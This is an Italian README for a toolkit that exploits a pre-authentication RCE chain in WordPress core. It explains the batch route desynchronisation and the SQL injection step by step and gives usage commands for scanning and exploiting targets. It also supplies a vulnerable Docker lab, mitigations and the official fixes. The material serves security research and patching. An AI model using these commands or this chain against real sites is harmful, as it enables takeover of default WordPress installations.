
wp2shell — WordPress Core Pre-Auth RCE (CVE-2026-63030 + CVE-2026-60137). Toolkit di exploit + correzione.
CVE-2026-63030 (Confusione di route batch, CVSS 7.5) + CVE-2026-60137 (Iniezione SQL, CVSS 9.1)
Una catena di esecuzione di codice remoto pre-autenticazione nel core di WordPress che non richiede plugin, nessuna configurazione speciale, e funziona su installazioni predefinite.
| Intervallo di versioni | Impatto | Risolto in |
|---|---|---|
| WordPress 7.0.0 – 7.0.1 | RCE completa | 7.0.2 |
| WordPress 6.9.0 – 6.9.4 | RCE completa | 6.9.5 |
| WordPress 6.8.0 – 6.8.5 | Solo iniezione SQL | 6.8.6 |
Prerequisito: Nessuna cache di oggetti persistente (Redis/Memcached). Questa è la configurazione predefinita per la stragrande maggioranza delle installazioni WordPress.
L'exploit sfrutta due vulnerabilità in catena:
Confusione di route batch dell'API REST — Un percorso malformato in una sotto-richiesta batch causa il ritorno di false da wp_parse_url(), creando un WP_Error che desincronizza gli array $matches[] e $requests[]. Le richieste successive vengono smistate su gestori sbagliati, bypassando l'autenticazione.
Iniezione SQL in WP_Query — Quando author__not_in viene passato come stringa (non array), la sanificazione di absint() viene saltata e il valore grezzo viene interpolato direttamente nella clausola SQL WHERE.
Combinato con il sistema di caching oEmbed di WordPress (primitiva di scrittura), la pubblicazione automatica delle modifiche del Customizer (escalation dei privilegi) e la rientranza dell'API REST (invio privilegiato), questo consente l'esecuzione di codice non autenticata.
wp2shell/
├── README.md ← Questo file
│
├── wp2shell-exploit/ ← Strumenti di esploitazione
│ ├── exploit.py # RCE completa pre-autenticazione (nessun cracking password)
│ ├── exploit_hash.py # Estrazione hash + RCE autenticata
│ ├── detect.py # Scanner di vulnerabilità non distruttivo
│ └── README.md
│
├── wp2shell-patch/ ← Mitigazione
│ ├── patch.sh # Patch del codice sorgente (specchio della correzione ufficiale)
│ ├── wp2shell-shield.php # Plugin mu-drop-in (deploy in 30 secondi)
│ ├── block-batch.conf # Mitigazione Nginx
│ ├── block-batch.htaccess # Mitigazione Apache
│ └── README.md
│
├── docker-compose.yml # Ambiente di test vulnerabile (WP 7.0.1)
└── Dockerfile.debug # Immagine con XDebug abilitato per la ricerca
Il sorgente di WordPress non è incluso. Scarica da https://wordpress.org/download/releases/ (7.0.1 per vulnerabile, 7.0.2 per corretto).
cd wp2shell-exploit
# Single target
python3 detect.py https://target.example
# With SQL injection timing confirmation
python3 detect.py https://target.example --confirm-sqli
# Batch scan from file
python3 detect.py targets.txt -q
# Full pre-auth RCE (recommended — no password cracking needed)
python3 exploit.py https://target.example -c "id"
# Just extract data via blind SQLi
python3 exploit.py https://target.example "SELECT user_login FROM wp_users LIMIT 1"
# Alternative: extract hash + crack + auth RCE
python3 exploit_hash.py https://target.example
# Then after cracking:
python3 exploit_hash.py https://target.example --user admin --pass cracked_pw -c "id"
cd wp2shell-patch
# Option 1: Drop-in plugin (fastest, no restart needed)
cp wp2shell-shield.php /path/to/wordpress/wp-content/mu-plugins/
# Option 2: Web server block
# Nginx: include block-batch.conf in server block
# Apache: prepend block-batch.htaccess to .htaccess
# Option 3: Source patch (complete fix)
sudo bash patch.sh /path/to/wordpress
# Best option: just update WordPress
wp core update # or Dashboard → Updates
┌─────────────────────────────┐
│ Richiesta HTTP Anonima │
│ POST /?rest_route=/batch/v1 │
└──────────────┬──────────────┘
│
┌──────────────▼──────────────┐
│ Batch Desync (esterno) │
│ Percorso malformato → WP_Error │
│ $matches[] array shifts │
└──────────────┬──────────────┘
│
┌──────────────▼──────────────┐
│ Ruba handler /batch/v1 │
│ (nessun permission_callback!)│
│ → esecuzione batch annidata │
└──────────────┬──────────────┘
│
┌──────────────▼──────────────┐
│ Batch Desync (interno) │
│ Metodi GET ora consentiti │
│ author_exclude non sanificato│
└──────────────┬──────────────┘
│
┌────────────────────┼────────────────────┐
│ │ │
┌──────────▼──────────┐ ┌──────▼──────┐ ┌──────────▼──────────┐
│ Fase 1: oEmbed │ │ Fase 2: │ │ Fase 3: Escalation │
│ UNION SELECT fake │ │ Blind SQLi │ │ Avvelenamento cache +│
│ post con [embed] │ │ estrai ID │ │ pubblicazione Changeset│
│ → WP crea cache │ │ + ID admin │ │ → wp_set_current_ │
│ post (prim. scrittura)│ │ │ │ user(admin) │
└─────────────────────┘ └─────────────┘ └──────────┬──────────┘
│
┌──────────────▼──────────────┐
│ Rientranza │
│ parse_request innesca │
│ serve_request() rientro │
│ → ora in esecuzione come admin!│
└──────────────┬──────────────┘
│
┌──────────────▼──────────────┐
│ POST /wp/v2/users │
│ Crea un nuovo amministratore│
│ → Login → Plugin → Shell │
└─────────────────────────────┘
WordPress 6.9.5 / 7.0.2 applica tre correzioni che spezzano ciascuna un anello della catena:
WordPress 7.0.2 rimuove inoltre la funzionalità di collaborazione (difesa in profondità).
# Start vulnerable WordPress 7.0.1
docker compose up -d
# Wait for MySQL to init, then install
curl -s "http://localhost:8888/wp-admin/install.php?step=2" \
--data-urlencode "weblog_title=Test" \
--data-urlencode "user_name=admin" \
--data-urlencode "admin_password=TestPassword123" \
--data-urlencode "admin_password2=TestPassword123" \
--data-urlencode "[email protected]" \
--data-urlencode "blog_public=0" \
--data-urlencode "Submit=Install WordPress"
# Exploit
python3 wp2shell-exploit/exploit.py http://localhost:8888 -c "id"
# Clean up
docker compose down
Questo repository è fornito esclusivamente per ricerca sulla sicurezza autorizzata, test di penetrazione e scopi educativi. Utilizzare solo su sistemi di propria proprietà o per i quali si dispone di esplicita autorizzazione scritta per il test.
| Correzione | File | Effetto |
|---|
| Allineamento array | class-wp-rest-server.php | $matches[] = $single_request per voci WP_Error — previene desinc |
| Guardia di rientranza | class-wp-rest-server.php + rest-api.php | if ($this->is_dispatching()) return false — previene serve_request annidata |
| Sanificazione SQL | class-wp-query.php | wp_parse_id_list() applicata sempre — previene iniezione |